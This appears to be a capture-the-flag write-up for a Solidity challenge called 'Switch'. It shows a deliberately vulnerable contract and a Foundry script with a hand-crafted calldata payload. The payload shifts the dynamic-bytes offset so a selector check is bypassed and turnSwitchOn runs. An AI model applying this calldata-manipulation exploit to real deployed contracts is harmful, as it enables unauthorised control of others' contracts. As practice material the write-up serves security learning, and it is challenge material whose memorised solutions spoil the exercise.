Switch
Just have to flip the switch. Can’t be that hard, right?
Things that might help:
Understanding how CALLDATA
is encoded.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Switch {
bool public switchOn; // switch is off
bytes4 public offSelector = bytes4(keccak256("turnSwitchOff()"));
modifier onlyThis() {
require(msg.sender == address(this), "Only the contract can call this");
_;
}
modifier onlyOff() {
// we use a complex data type to put in memory
bytes32[1] memory selector;
// check that the calldata at position 68 (location of _data)
assembly {
calldatacopy(selector, 68, 4) // grab function selector from calldata
}
require(
selector[0] == offSelector,
"Can only call the turnOffSwitch function"
);
_;
}
function flipSwitch(bytes memory _data) public onlyOff {
(bool success, ) = address(this).call(_data);
require(success, "call failed :(");
}
function turnSwitchOn() public onlyThis {
switchOn = true;
}
function turnSwitchOff() public onlyThis {
switchOn = false;
}
}
Solution:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {Switch} from '../src/29.sol';
contract POC is Script {
function run() external {
uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
address addr = vm.envAddress("INSTANCE_29");
vm.startBroadcast(deployerPrivateKey);
Switch s = Switch(addr);
console.log('switchOn : %s', s.switchOn());
// Default
// 30c13ade
// 0000000000000000000000000000000000000000000000000000000000000020 0 // point to 20
// 0000000000000000000000000000000000000000000000000000000000000004 20
// 20606e1500000000000000000000000000000000000000000000000000000000 40
// Hacked
// 30c13ade
// 0000000000000000000000000000000000000000000000000000000000000060 0 // point to 60
// 0000000000000000000000000000000000000000000000000000000000000004 20
// 20606e1500000000000000000000000000000000000000000000000000000000 40 // skipped
// 0000000000000000000000000000000000000000000000000000000000000004 60
// 76227e1200000000000000000000000000000000000000000000000000000000 80 // actually called
bytes memory payload = hex"30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000420606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000";
(bool success,) = address(s).call(payload);
require(success);
console.log('switchOn : %s', s.switchOn());
vm.stopBroadcast();
}
}
larz et nadia remi romain